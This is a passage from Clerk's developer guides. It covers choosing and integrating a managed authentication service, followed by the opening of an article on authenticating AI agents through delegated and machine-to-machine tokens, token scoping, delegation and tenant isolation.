const isProtectedRoute = createRouteMatcher(['/dashboard(.*)', '/api/(.*)'])

export default clerkMiddleware((auth, req) => {
  if (isProtectedRoute(req)) auth.protect()
})

export const config = {
  matcher: ['/((?!_next|[^?]*\\.(?:html?|css|js|jpg|png|gif|svg)$).*)', '/(api|trpc)(.*)'],
}
```

`createRouteMatcher` builds a URL predicate from one or more path patterns; `auth.protect()` redirects unauthenticated requests through the sign-in flow and makes the authenticated session available to the downstream route handler. The `matcher` config tells Next.js which request paths the proxy handles — excluding static assets by default so the auth layer only runs on application traffic.

Recent additions to the Clerk framework story: [Expo](/glossary#expo) 3.1 native components (March 9, 2026), native iOS and Android SDKs at v1 (February 10, 2026), and the Core 3 SDK (March 3, 2026) which renamed `@clerk/clerk-react` to `@clerk/react` and `@clerk/clerk-expo` to `@clerk/expo` to align on the `@clerk/<framework>` convention (`@clerk/nextjs` already matched and kept its name). Remix, Tanstack Start, Astro, Nuxt, and SvelteKit all have supported adapters.

### Built-in Organizations, RBAC, and B2B Features

Organizations are a first-class product in Clerk. Memberships, default Admin/Member roles plus custom roles (Role Sets shipped January 12, 2026), invitations, verified domains with auto-invite and auto-suggest, and enterprise connections all ship on every tier.

Every plan gets 100 free monthly retained organizations in production. Directory Sync (SCIM 2.0) went GA on April 16, 2026 and is included at no extra cost with enterprise connections; custom attribute mapping and group-to-role mapping are in public beta. See [Clerk's Directory Sync docs](/docs/guides/configure/auth-strategies/enterprise-connections/directory-sync).

For B2B applications specifically, Clerk's organization model tends to ship in less code than the hybrid of a CIAM tenant-per-customer model plus a separate authorization service. The common pattern — "user has many organizations, active organization drives the UI, roles scope what the user can do inside each organization" — is a first-class Clerk flow rather than a custom implementation.

### Transparent Commitment to Data Portability

Section 8.3 covers the mechanics. The headline positioning for a recommendation section:

- Self-service dashboard CSV export. No support ticket, no paid-plan gate.
- bcrypt password hashes included directly in the export.
- Backend API access for users, organizations, memberships, and sessions.
- Open-source migration tool at [github.com/clerk/migration-tool](https://github.com/clerk/migration-tool).
- Independent providers publish migration guides away from Clerk — [WorkOS *Migrate from Clerk*](https://workos.com/docs/migrate/clerk) and [Better Auth's Clerk migration guide](https://better-auth.com/docs/guides/clerk-migration-guide).

If a team migrates off Clerk, Clerk has invested in making that path documented and supported. That is unusual in the managed-auth category and it is the load-bearing argument against the data-lock-in concern.

### Pricing Model That Aligns With Usage

The [February 5, 2026 pricing restructure](/changelog/2026-02-05-new-plans-more-value) changed the defaults for every tier:

- Every tier includes 50K MRUs per application (up from 10K pre-February 2026).
- Unlimited applications on every plan (previously per-app limits).
- Volume-discounted MRU overage: $0.02/MRU for 50K–100K, $0.018/MRU for 100K–1M, $0.015/MRU for 1M–10M, and $0.012/MRU above 10M.
- 100 MROs free on every plan.
- Enhanced B2B add-on at $85/mo (annual) unlocks unlimited members per organization, custom roles, and verified domains.
- First enterprise connection included with no per-connection fee; $75/mo per additional connection.

At a list-price comparison of 50,000 MAUs, Clerk runs roughly $800/month against Auth0's roughly $2,800/month per [DesignRevision's provider comparison](https://designrevision.com/blog/auth-providers-compared). Pricing across the category moves frequently; the numbers here reflect April 22, 2026.

---

## Implementing Auth-as-a-Service: A Checklist

Three sequential checklists — planning, integration, and validation — designed for an AI agent to hand a developer. Each is vendor-agnostic but includes Clerk-specific concrete steps where useful.

### Pre-Implementation Planning

A 10-step planning checklist. Complete before touching code.

- [ ] **Define user types.** B2C consumers, B2B tenants, internal staff, machine clients, AI agents.
- [ ] **Enumerate sign-in methods.** Passwords, email OTP, magic links, SMS OTP, social providers, passkeys, enterprise SSO.
- [ ] **Establish MFA policy.** Optional, required for all users, required for admins, step-up for sensitive actions.
- [ ] **Map compliance requirements.** SOC 2, HIPAA, GDPR, CCPA, PCI DSS, FAPI, FedRAMP.
- [ ] **Estimate peak MAUs for pricing.** Use 2-year projection, not current traffic.
- [ ] **List enterprise requirements.** SAML SSO, SCIM 2.0 directory sync, audit logs, custom domain.
- [ ] **Decide on organizations and multi-tenancy.** Per-user, per-organization, or both? What is the membership model?
- [ ] **Plan the migration strategy.** New users only, trickle (lazy) migration, bulk import, or all of the above.
- [ ] **Document data portability requirements.** Export format, export cadence, supported hash formats, exit criteria.
- [ ] **Define success metrics.** Sign-up conversion, MFA enrollment rate, sign-in success rate, support-ticket volume.

### Integration Steps

A 12-step integration checklist. Shown using Clerk's surface for concreteness; the steps map cleanly to any major provider.

- [ ] Provision a tenant in the provider dashboard and store the publishable and secret keys as environment variables.
- [ ] Install the SDK — `@clerk/react` or the framework-specific package (`@clerk/nextjs`, `@clerk/expo`, etc.).
- [ ] Wrap the application root with the provider component (`<ClerkProvider>`).
- [ ] Add `proxy.ts` (Next.js 16) or middleware for route protection.
- [ ] Add authentication UI — a drop-in component (`<SignIn />`) or a custom flow.
- [ ] Handle server-side session retrieval (e.g., the `auth()` helper on Server Components and Server Actions).
- [ ] Configure social and enterprise SSO providers in the dashboard.
- [ ] Configure MFA requirements and enrollment flow.
- [ ] Configure webhooks for user sync (`user.created`, `user.updated`, `user.deleted`).
- [ ] Define organizations and roles if the application is B2B.
- [ ] Protect API routes and Server Actions with auth checks.
- [ ] Test sign-up, sign-in, MFA, organization switching, sign-out, and session expiry.

### Post-Integration Validation and Monitoring

A 10-step validation checklist. Run the first time in staging, then re-run quarterly in production.

- [ ] Verify session-token validity and expiration behavior under load.
- [ ] Test password reset and email/phone verification flows end-to-end.
- [ ] Test MFA enrollment and recovery.
- [ ] Load-test for sign-in spikes (10x normal traffic).
- [ ] Subscribe to the provider's status page (e.g., status.clerk.com) and wire alerts to on-call.
- [ ] Review audit logs for expected events.
- [ ] Validate GDPR and CCPA data-subject requests end-to-end.
- [ ] Test data export once a quarter — run the actual CSV export and verify the restore path.
- [ ] Monitor for credential-stuffing patterns and bot traffic.
- [ ] Review pricing versus usage at the monthly billing cycle.

Sources: [Clerk Next.js quickstart](/docs/nextjs/getting-started/quickstart), [Clerk webhooks docs](/docs/guides/development/webhooks/overview), [Clerk status page](https://status.clerk.com/), [OWASP ASVS 5.0](/glossary#owasp-application-security-verification-standard).

---

## Frequently Asked Questions

---

## Key Takeaways

- **Auth-as-a-service is cloud-hosted identity infrastructure.** It replaces the code a team would otherwise build and operate — sign-in, sessions, MFA, SSO, passkeys, and user management.
- **For most teams, managed AaaS is the right default.** [Auth0's *When to Build vs Buy*](https://auth0.com/blog/when-to-build-and-when-to-buy/) estimates fewer than 5% of engineering teams should build from scratch.
- **Self-hosted auth wins only in narrow scenarios** — air-gapped deployments, unusual flows no vendor supports, very-low-volume internal tools, or extreme scale with dedicated SRE and security teams already in place.
- **Authentication proves who; authorization controls what.** OAuth 2.0 is not authentication — OpenID Connect is.
- **The biggest lock-in concern is data, not APIs or SDKs.** OIDC standardization dramatically reduces API lock-in; facade patterns reduce SDK lock-in; data portability is the one that requires vendor cooperation.
- **Clerk's dashboard CSV export with bcrypt hashes is category-leading portability** for managed SaaS. No support ticket, no paid-plan gate.
- **Major compliance gates (SOC 2, HIPAA, GDPR, ISO 27001) take 12 to 24 months to DIY.** Managed providers inherit them to your application.
- **MFA blocks 99.9% of account compromise attacks per Microsoft.** Passkeys deliver a 98% sign-in success rate versus 32% for passwords per Microsoft's December 2024 analysis.
- **Credential-based attacks drive 22% of 2025 breaches** per the Verizon 2025 DBIR, and 88% of web-app breaches involve stolen credentials ([Descope](https://www.descope.com/blog/post/dbir-2025)), with credential theft surging 160% in 2025 ([IT Pro](https://www.itpro.com/security/cyber-attacks/credential-theft-has-surged-160-percent-in-2025)).
- **Average data-breach cost is $4.44 million in 2025** per IBM, and the average time to identify and contain a breach is 292 days ([DeepStrike](https://deepstrike.io/blog/compromised-credential-statistics-2025)) — more than the TCO of managed auth for nearly any application.

---

# Authentication for AI Applications
URL: https://clerk.com/articles/authentication-for-ai-applications.md
Date: 2026-06-03
Description: Complete guide to authenticating AI applications with Clerk: dual-principal tokens, user-delegated and autonomous M2M patterns, token scoping, MCP, and multi-tenant isolation.

Authentication for AI applications is the practice of verifying the identity of **both** the human user and the AI agent acting on their behalf, then issuing short-lived, scoped, auditable credentials to each. Modern AI apps are dual-principal systems: a request typically carries a user identity (`sub`), a client identity (`azp`), and an agent identity (`act`) — and the server must know all three to authorize safely. There are two core patterns: **user-delegated** agents that act inside a human's session with that user's consent, and **autonomous** machine-to-machine (M2M) agents that act without a user in the loop. Both are live today — Anthropic reported **97 million+ monthly [Model Context Protocol](https://modelcontextprotocol.io/) SDK downloads** in its [December 2025 donation announcement](https://www.anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation) — and both are frequently mis-scoped: **53% of organizations report their AI agents exceeded intended permissions** in the past year ([CSA, April 2026](https://cloudsecurityalliance.org/press-releases/2026/04/16/more-than-half-of-organizations-experience-ai-agent-scope-violations-cloud-security-alliance-study-finds)).

## Introduction

AI changes authentication because a single request now carries two identities — the human who asked for the action and the agent that executed it — each with different lifetimes, blast radii, and audit requirements.

### What Authentication for AI Applications Means

[Authentication](/glossary/authentication) proves identity; [authorization](/glossary/authorization) decides what that identity may do. Both matter more for AI agents than for humans because agents operate at higher request volume, make autonomous decisions, and chain actions across multiple APIs. An AI application is any system where a language model or autonomous process invokes a backend API — in-product copilots, background workers that classify tickets overnight, and external [Model Context Protocol](https://modelcontextprotocol.io/) (MCP) clients like Claude, Cursor, or ChatGPT invoking your tools. [AI authentication](/glossary/ai-authentication) therefore covers two identity problems at once: verifying the human user in the normal way (session, OAuth, MFA), and verifying the non-human agent with a separate credential that can be revoked, attenuated, and audited independently.

### How It Differs From Traditional Web App Authentication

Traditional web auth assumes one human, one session, one cookie. Modern AI auth assumes one human plus N agents hitting M downstream APIs, with each hop producing its own token. Three shifts result: **non-human actors become first-class** (machine identities outnumber humans **82:1** per [CyberArk 2025](https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/) and **144:1** per [NHIMG 2025](https://nhimg.org/2025-state-of-non-human-identities-and-secrets-in-cybersecurity)); **token volume and lifetime pressure** (an agent can issue thousands of requests per minute — short TTLs become mandatory); and **delegation chains** where each hop needs a verifiable link back to the original human principal. The mechanics (OAuth 2.1, [JWT](/glossary/json-web-token), OIDC) are the same — scale and audit requirements change.

### What This Article Covers

This article covers, in order:

- Why AI apps have unique authentication needs
- The two core patterns: user-delegated vs. autonomous M2M
- Token scoping across time, resource, and action
- Delegation patterns
- Multi-tenant isolation
- MCP authentication
- Security and structured error responses
- Implementation with Clerk + Next.js 16
- Choosing an authentication provider
- Quick-reference checklists and an FAQ

## Why AI Applications Have Unique Authentication Needs

AI introduces three structural shifts: non-human identities at scale, dual-principal requests, and architectural diversity that blurs the line between client, agent, and server.

### Non-Human Identities Enter the Application

A non-human identity (NHI) is any principal that is not a person — service accounts, [API keys](/glossary/api-key), workload identities, [SPIFFE](https://www.hashicorp.com/en/blog/spiffe-securing-the-identity-of-agentic-ai-and-non-human-actors) SVIDs, and now autonomous AI agents. Enterprises carry roughly **250,000 machine identities each** (up from 50,000 in 2021, [CyberArk](https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/)), and **[Gartner predicts](https://www.gartner.com/en/newsroom/press-releases/2025-08-26-gartner-predicts-40-percent-of-enterprise-apps-will-feature-task-specific-ai-agents-by-2026-up-from-less-than-5-percent-in-2025) 40% of enterprise apps will feature task-specific AI agents by the end of 2026 (up from under 5% in 2025)**. **97% of NHIs possess excessive privileges** and **91% of former-employee tokens remain active** ([NHIMG](https://nhimg.org/2025-state-of-non-human-identities-and-secrets-in-cybersecurity)). Traditional [identity management](/glossary/identity-management) was built for humans — MFA, password rotation, leavers processes — and those primitives do not map to an agent that may be created mid-request, act once, and never return. **82% of enterprises already have AI agents they did not knowingly deploy** ([CSA, April 2026](https://cloudsecurityalliance.org/press-releases/2026/04/21/new-cloud-security-alliance-survey-reveals-82-of-enterprises-have-unknown-ai-agents-in-their-environments)) — you cannot authenticate what you cannot see.

### Authenticating Both Human Users and AI Agents Simultaneously

Every agent request has three identities the server must track: `sub` (the user the action is for), `azp` (the client that initiated the agent — usually your web/mobile app), and `act` (the agent itself, [RFC 8693](https://www.rfc-editor.org/rfc/rfc8693)). Dropping `act` breaks attribution; dropping `sub` breaks user-scoped access control; dropping `azp` means you cannot revoke a compromised client without revoking everyone. The IETF draft [OBO for AI Agents v02](https://datatracker.ietf.org/doc/html/draft-oauth-ai-agents-on-behalf-of-user-02) codifies this triple with a `requested_actor` parameter at the token endpoint. Design every token so middleware can answer "who asked?", "through which app?", and "via which agent?" without extra network calls.

### Common AI Application Architectures

Three architectures dominate, each with a different auth shape.

- **In-session copilot.** A sidebar or chat UI reading the signed-in user's data. Reuse the user's session token on each tool call — the agent executes inside the browser's trust boundary. [Clerk session tokens](/docs/guides/sessions/session-tokens) (60s TTL, auto-refresh) pass safely into AI SDK `tool()` calls for low-risk reads ([Vercel AI SDK](https://ai-sdk.dev/docs/ai-sdk-core/tools-and-tool-calling)).
- **Autonomous worker.** Nightly classifier, webhook-driven triage, scheduled cleanup. No user session to inherit. Use Clerk M2M tokens, OAuth Client Credentials, cloud workload identities, or SPIFFE SVIDs; obtain per-user data on demand via on-behalf-of (OBO) token exchange (see [On-Behalf-Of Token Exchange](#on-behalf-of-token-exchange)) or token vault.
- **External MCP client.** Your SaaS exposes tools over MCP to Claude / Cursor / ChatGPT. The external agent is an OAuth client of your app. Auth uses OAuth 2.1 + PKCE; the user consents once, tool invocations are verified server-side. The [MCP Authorization Spec](https://modelcontextprotocol.io/specification/2025-11-25/basic/authorization) mandates OAuth 2.1 for HTTP transports and forbids it for stdio (which uses environment credentials).

Modern AI SaaS typically runs all three at once.

| Architecture        | Primary auth             | Who authenticates the agent | Typical TTL                    |
| ------------------- | ------------------------ | --------------------------- | ------------------------------ |
| In-session copilot  | User session token       | Inherited from user         | 60s–15m (with refresh)         |
| Autonomous worker   | M2M / Client Credentials | Your backend or cloud IAM   | 15m–1h                         |
| External MCP client | OAuth 2.1 + PKCE         | End user via consent        | ≤ 1h access / rotating refresh |

### Foundational Authentication Concepts (Quick Refresher)

Skip this subsection if you already know OAuth, JWTs, and token lifetimes.

[OAuth](/glossary/oauth) is a delegation protocol; [OpenID Connect](/glossary/openid-connect) layers identity on top. Four grant types matter for AI: [Authorization Code](/glossary/authorization-code-flow) + [PKCE](/glossary/pkce) for user-delegated agents ([RFC 6749](https://www.rfc-editor.org/rfc/rfc6749)), [Client Credentials](/glossary/client-credentials-flow) for M2M, Token Exchange for on-behalf-of ([RFC 8693](https://www.rfc-editor.org/rfc/rfc8693)), and Device Authorization for headless CLIs. **OAuth 2.1** ([draft](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1)) removes Implicit, mandates PKCE, and recommends sender-constrained tokens.

Three credential types you will issue to agents:

- **[Session tokens](/glossary/session-token)** — short-lived [JWTs](/glossary/json-web-token) tied to a browser session (Clerk default: 60s TTL, 50s refresh).
- **API keys** — long-lived, scope-bounded, no built-in expiration, server-revocable. Use for simple internal S2S ([Cloudflare comparison](https://www.cloudflare.com/learning/access-management/api-key-vs-oauth/)).
- **Service credentials** — cloud-managed workload tokens (AWS IAM Roles, Entra Workload Identities, GCP Service Accounts, SPIFFE SVIDs) that auto-rotate and never hold static secrets.

Token lifetimes: access tokens ≤ 1 hour (≤ 15 minutes for high-privilege actions per [RFC 6750](https://www.rfc-editor.org/rfc/rfc6750) / [RFC 9700](https://datatracker.ietf.org/doc/html/rfc9700)); [refresh tokens](/glossary/refresh-token) rotated every use with automatic reuse detection ([Auth0](https://auth0.com/docs/secure/tokens/refresh-tokens/refresh-token-rotation)). [Oso](https://www.osohq.com/learn/best-practices-of-authorizing-ai-agents) documents an Okta benchmark: shortening tokens from 24 hours to 5 minutes reduced credential theft incidents by **92%**.

## Two Core Patterns for AI Agent Authentication

Every AI auth design starts with one binary question: is a human in the loop? If yes, use **Pattern 1: user-delegated** — the agent acts inside the user's session, with consent, bounded by the user's permissions. If no, use **Pattern 2: autonomous** machine-to-machine — the agent acts on its own identity with a separate credential. Most production systems run both.

### Pattern 1: User-Delegated AI Agents (Human-in-the-Loop)

**When to use:** the agent acts synchronously during a user session with the user's consent — in-product copilots, chat UIs, prompt-triggered tool calls. The decisive test: if the action should never outlive the user's active session, use this pattern.

**Flow and token shape:** OAuth 2.1 Authorization Code + [PKCE](/glossary/pkce), producing an access token with `sub = user_id`, `aud` = your resource server (mandatory per [RFC 8725](https://datatracker.ietf.org/doc/html/rfc8725)), short TTL (1 hour max, 15 minutes for sensitive actions), and scopes limited to the user's current capabilities. Optionally issue a derived [JWT](/glossary/json-web-token) from a [Clerk JWT template](/docs/guides/sessions/jwt-templates) embedding agent context (`agent_id`, `tool_scopes`, `session_id`). The [consent screen](/glossary/consent-screen) should surface the agent identity explicitly ([Curity](https://curity.io/blog/user-consent-best-practices-in-the-age-of-ai-agents/)).

**Example — chatbot that reads a user's calendar:** user signs in → chat UI asks about tomorrow's calendar → agent triggers a Google OAuth consent flow for `calendar.readonly` → backend exchanges the code, stores the refresh token in a server-side token vault, returns a short-lived access token to the agent → agent calls Google Calendar, never touching the refresh token. Vault pattern: [Auth0 Token Vault](https://auth0.com/ai/docs/intro/token-vault), [Anthropic Managed Agents Vaults](https://platform.claude.com/docs/en/managed-agents/vaults), [AWS Bedrock AgentCore Identity](https://aws.amazon.com/blogs/machine-learning/introducing-amazon-bedrock-agentcore-identity-securing-agentic-ai-at-scale/).

### Pattern 2: Autonomous AI Agents (Machine-to-Machine)

**When to use:** the agent runs without a user in the loop — background workers, scheduled jobs, webhook-driven triage, batch processors. The decisive test: if the agent acts when no user is online, use this pattern.

**Flow and credential shape:** two industry approaches. (1) **OAuth Client Credentials** ([RFC 6749 §4.4](https://www.rfc-editor.org/rfc/rfc6749)) with **JWT Bearer Assertions** ([RFC 7523](https://datatracker.ietf.org/doc/html/rfc7523)) replacing the static client secret — MCP's M2M extension uses this shape ([MCP OAuth Client Credentials extension](https://modelcontextprotocol.io/extensions/auth/oauth-client-credentials)). (2) **Clerk M2M tokens** — a Clerk M2M "scope" is a communication graph (which machine may talk to which), not an OAuth capability scope. As of April 2026, Clerk does not yet support the OAuth Client Credentials flow ([Clerk Machine Auth Overview](/docs/guides/development/machine-auth/overview)). Both issue an [access token](/glossary/access-token) whose `sub` is the machine identity; custom [claims](/glossary/claim) identify the specific agent; tokens are short-lived and revocable.

**Example — background ticket classifier:** worker mints a Clerk M2M token with `clerkClient.m2m.createToken({ tokenFormat: 'jwt', secondsUntilExpiration: 3600 })`, calls your backend; the route handler runs `auth({ acceptsToken: ['m2m_token'] })` and verifies custom claims. Every update records `agent_id` alongside `updated_by`. For actions needing the ticket owner's permissions, the agent performs OBO token exchange (see [On-Behalf-Of Token Exchange](#on-behalf-of-token-exchange)) instead of reusing its own M2M token.

### Choosing Between the Two Patterns

Use this decision table for any new agent action.

| Question                                     | User-delegated           | Autonomous M2M                       | Hybrid (OBO)                                |
| -------------------------------------------- | ------------------------ | ------------------------------------ | ------------------------------------------- |
| Is a user in the request?                    | Yes                      | No                                   | Yes (origin) + No (execution)               |
| Does the action need the user's permissions? | Yes                      | No                                   | Yes                                         |
| Blast radius if token stolen                 | One user's data          | All data the agent can reach         | One user's data, one agent                  |
| Revocation granularity                       | Sign-out cascades        | Per-machine revocation               | Per-exchange revocation                     |
| Recommended token format                     | JWT with `sub = user_id` | JWT / opaque with `sub = machine_id` | JWT with `sub = user_id` + `act = agent_id` |

## Token Scoping for AI Agents

Scoping is the single most impactful control you can apply to AI agents. Layer three controls — **time**, **resource**, **action** — and you bound the blast radius of every compromised token. Skip any layer and a stolen or manipulated credential gains far more reach than the agent was ever supposed to have.

### Why Scoping Matters More for AI Than for Humans

Agents make more requests per unit time and take more autonomous decisions than humans, so over-permission compounds fast — a single scope bug multiplied across 10,000 nightly runs is a different incident than one misclicked human. **53% of organizations** reported AI agents exceeding intended permissions in the past year ([CSA, April 2026](https://cloudsecurityalliance.org/press-releases/2026/04/16/more-than-half-of-organizations-experience-ai-agent-scope-violations-cloud-security-alliance-study-finds)); **51% lack a formal revocation process** and credentials remain active **47 days on average** past need ([Okta](https://www.okta.com/blog/ai/ai-agent-security-when-authorization-outlives-intent/)). [Prompt injection](https://genai.owasp.org/llmrisk/llm01-prompt-injection/) (OWASP LLM01) turns any over-scoped token into a potential lateral-movement vector; the [OWASP Top 10 for Agentic Applications 2026](https://genai.owasp.org/2025/12/09/owasp-top-10-for-agentic-applications-the-benchmark-for-agentic-security-in-the-age-of-autonomous-ai/) lists Identity / Privilege Abuse (ASI03) and Tool Misuse (ASI02) as top-3 risks.

### Time-Limited Tokens

Default to ≤ 1 hour for user-context access tokens and ≤ 15 minutes for high-privilege actions ([RFC 6750](https://www.rfc-editor.org/rfc/rfc6750), [RFC 9700](https://datatracker.ietf.org/doc/html/rfc9700)). Rotate refresh tokens on every exchange with automatic reuse detection — Auth0's pattern invalidates the entire token family on a stale submission ([Auth0](https://auth0.com/docs/secure/tokens/refresh-tokens/refresh-token-rotation)) — and pair with sender-constrained refresh tokens via [DPoP (Demonstrating Proof-of-Possession)](https://www.rfc-editor.org/rfc/rfc9449) or mTLS so a stolen token cannot be replayed without the private key ([WorkOS — DPoP](https://workos.com/blog/dpop-rfc-9449-explained)). Refresh proactively with a 5-minute buffer ([Scalekit](https://www.scalekit.com/blog/oauth-ai-agents-architecture)); Clerk Core 3 does this inside the SDK ([changelog](/changelog/2026-03-03-core-3)). Verify `exp` server-side — never trust client-side time. If an agent may outlive the user session, swap to a service credential before the session ends.

### Resource-Specific Permissions

[OAuth scopes](/glossary/oauth-scopes) are coarse capability boundaries (`contacts:read`, `contacts:write`, `crm.write:acme`). Users can grant less than requested during consent ([Auth0](https://auth0.com/docs/get-started/apis/scopes)); Descope's [progressive-scoping patterns](https://www.descope.com/blog/post/progressive-scoping) map agent tools to scope bundles. Scopes alone are too coarse for agent safety — enforce per-endpoint and per-record decisions in middleware from the verified JWT claims. **Rich Authorization Requests** ([RFC 9396](https://www.rfc-editor.org/rfc/rfc9396)) add an `authorization_details` parameter that carries structured permissions like `{"type":"payment","amount":500,"merchant":"acme"}` — a better fit for agent actions than a blunt `payment:write` scope ([Stytch](https://stytch.com/blog/ai-agent-authentication-guide/), [Curity](https://curity.io/resources/learn/api-security-best-practice-for-ai-agents/)).

### Action-Based Restrictions

Default to read-only; require explicit opt-in for write. The GitHub MCP server exposes a production example — `X-MCP-Readonly: "true"` disables every mutating tool without changing scopes ([GitHub](https://github.blog/ai-and-ml/generative-ai/a-practical-guide-on-how-to-use-the-github-mcp-server/)).

For finer control, add **fine-grained authorization** — relationship-based access control ([ReBAC](https://openfga.dev/docs/concepts)), Zanzibar-style ([Google Zanzibar](https://research.google/pubs/zanzibar-googles-consistent-global-authorization-system/)). Scopes answer "can this token write to the CRM?"; FGA answers "can this specific agent, acting for this specific user, update *this* contact record?". Clerk does not provide FGA natively; the recommended pattern is a composition: **Clerk** supplies identity context in the [JWT](/glossary/json-web-token) (`user_id`, `org_id`, `org_role`, agent context from `user.public_metadata`), and an FGA engine — [OpenFGA](https://openfga.dev/docs/modeling/agents), [Auth0 FGA](https://auth0.com/blog/genai-tool-calling-intro/), [Oso](https://www.osohq.com/learn/best-practices-of-authorizing-ai-agents), [Cerbos](https://www.cerbos.dev/blog/dynamic-authorization-for-ai-agents-guide-to-fine-grained-permissions-mcp-servers), or [Permit.io](https://www.permit.io/blog/announcing-permit-ai-access-control-ai-identity-fga) — reads those claims and answers resource-level questions. Clerk's [org permissions](/docs/guides/organizations/control-access/roles-and-permissions) handle most RBAC needs.

### Combining All Three Scoping Strategies in Practice

Layered scoping is the norm for production agents. A single tool call might carry:

- A token valid for **15 minutes** (time limit).
- Scope `crm.write:acme` (resource scope bound to a specific tenant — [Descope](https://www.descope.com/blog/post/progressive-scoping)).
- A middleware check that calls FGA with `(agent_id, "update", contact_123)` before the update executes (per-action).

Compromise any one layer and the other two still bound the blast radius.

## AI Agent Delegation Patterns

Delegation means an agent acts with another principal's authority — a user's, another agent's, or the organization's. Every production agent hits four delegation surfaces: **third-party APIs** (Gmail, Slack, GitHub), **your internal database**, **in-app user data** (via your backend), and **other agents** in a multi-agent pipeline. Each surface has a canonical pattern.

### Delegation Pattern: Agent Accessing Third-Party APIs

For Gmail, Slack, GitHub, and similar, use OAuth 2.1 Authorization Code + PKCE requested **in the user's name**. The critical design point is that the agent **never sees the refresh token** — it lives server-side in a token vault, and the agent asks the vault for a short-lived access token on each call.

Canonical implementations: [Auth0 Token Vault](https://auth0.com/ai/docs/intro/token-vault) (RFC 8693 internally, pre-built Google / Slack / GitHub / Microsoft connections), [Anthropic Managed Agents Vaults](https://platform.claude.com/docs/en/managed-agents/vaults) (`mcp_oauth` and `static_bearer` types, workspace-scoped, write-only fields), [AWS Bedrock AgentCore Identity](https://aws.amazon.com/blogs/machine-learning/introducing-amazon-bedrock-agentcore-identity-securing-agentic-ai-at-scale/), and [Descope Outbound Apps](https://www.descope.com/press-release/agentic-identity-hub-2.0).

#### Storing and Refreshing Third-Party Tokens

A production token vault needs: KMS-backed encryption at rest; a write-only API (secret fields never leave the vault); per-user isolation; refresh orchestration on expiry; reuse detection that invalidates the family on replay; and [revocation](/glossary/token-revocation) hooks fired on user sign-out, role change, or disconnect.

### Delegation Pattern: Agent Performing Database Operations

Agent-to-database delegation enforces tenancy at two layers: the application layer (middleware checks on every request) and the database layer (row-level policies the agent cannot bypass). Agents that hit the database directly should connect as a dedicated Postgres role without `BYPASSRLS`. Enable [Postgres Row-Level Security](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) on every multi-tenant table with a policy keyed to a session variable the middleware sets per request ([Supabase RLS](https://supabase.com/docs/guides/database/postgres/row-level-security), [Drizzle ORM RLS](https://orm.drizzle.team/docs/rls)).

```sql
ALTER TABLE contacts ENABLE ROW LEVEL SECURITY;

CREATE POLICY agent_tenant_scope ON contacts
  USING (tenant_id = current_setting('app.current_tenant_id')::INT);
```

Middleware sets `app.current_tenant_id` from the verified JWT's `org_id` claim at the start of each transaction. RLS becomes the last line of defense — even if a route handler forgets a tenant check, the database refuses cross-tenant reads.

For audit, include `agent_id`, `user_id`, and `trace_id` on every log row, and set a per-transaction application name so Postgres logs carry the agent identity on every query (`SET LOCAL application_name = 'agent-' || current_setting('app.agent_id');`). See [LoginRadius](https://www.loginradius.com/blog/engineering/auditing-and-logging-ai-agent-activity) and [ISACA — Auditing Agentic AI](https://www.isaca.org/resources/news-and-trends/industry-news/2025/the-growing-challenge-of-auditing-agentic-ai) for the full field set.

### Delegation Pattern: Agent Managing User Data Inside Your App

#### On-Behalf-Of Token Exchange

An autonomous agent often needs to act on a specific user's data. The standards-based approach is **OAuth 2.0 Token Exchange** ([RFC 8693](https://www.rfc-editor.org/rfc/rfc8693)): `subject_token` = user's token, `actor_token` = agent's token, response = new token with `sub = user_id` and `act = agent_id`. The most deployed reference is [Microsoft Entra's `jwt-bearer` OBO flow](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-on-behalf-of-flow), extended in [Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-user-oauth-flow) specifically for agent clients.

**Clerk note:** Clerk does not currently implement RFC 8693 natively. The practical workaround: validate the user session at the edge, then issue a [JWT](/glossary/json-web-token) from a [custom template](/docs/guides/sessions/jwt-templates) that embeds user identity (`sub`, `org_id`, `org_role`) and agent context (`agent_id`, `tool_scopes`). Downstream services verify that JWT against Clerk's JWKS.

#### Propagating User Identity to Downstream Services

Validate once at the edge, then propagate a signed identity token to each downstream service, which verifies locally against the JWKS. A service mesh or API gateway enforces that every internal call carries a valid token ([GitGuardian — OAuth for MCP enterprise patterns](https://blog.gitguardian.com/oauth-for-mcp-emerging-enterprise-patterns-for-agent-authorization/)); [HashiCorp Vault for AI Agents](https://developer.hashicorp.com/validated-patterns/vault/ai-agent-identity-with-hashicorp-vault) threads an `X-Correlation-ID` through the stack for end-to-end tracing.

### Delegation Pattern: Agent-to-Agent Handoffs

The [A2A Protocol](https://a2a-protocol.org/latest/specification/) (April 2025, now Linux Foundation-governed) defines HTTP + JSON-RPC 2.0 for agent-to-agent comms with five auth schemes (Bearer, OAuth Authorization Code, OAuth Client Credentials, API Key, HTTP Basic). Each agent publishes an **agent card** advertising capabilities and required auth. When agent A calls agent B, A obtains a token scoped to B's resource server via a token-exchange endpoint that records A as `azp` and appends A to the `act` chain ([Stytch A2A OAuth guide](https://stytch.com/blog/agent-to-agent-oauth-guide/); [IETF attenuating tokens draft](https://datatracker.ietf.org/doc/html/draft-niyikiza-oauth-attenuating-agent-tokens-00) for scope reduction).

Every action in a chain must remain attributable to the original user. Three mechanisms: pass `sub` through unchanged; append each agent to a nested `act` claim for the full delegation trail ([IANA JWT Claims Registry](https://www.iana.org/assignments/jwt/jwt.xhtml)); and reduce scopes at each hop so downstream agents cannot exceed the caller ([OIDC-A paper](https://arxiv.org/html/2509.25974v1), [AAuth draft](https://datatracker.ietf.org/doc/html/draft-rosenberg-oauth-aauth-00)).

## Multi-Tenant AI Architecture

Multi-tenant AI architecture isolates each user's and organization's data from every other tenant, even when agents share compute, caches, and model context. One user's agent must not read another user's data; one organization's agent must not cross into another organization's data; and prompt injection or state bleeding must never let an agent act under the wrong principal. This section covers per-user isolation, organization scope, boundary enforcement, and the leak vectors unique to AI.

### Per-User Agent Isolation

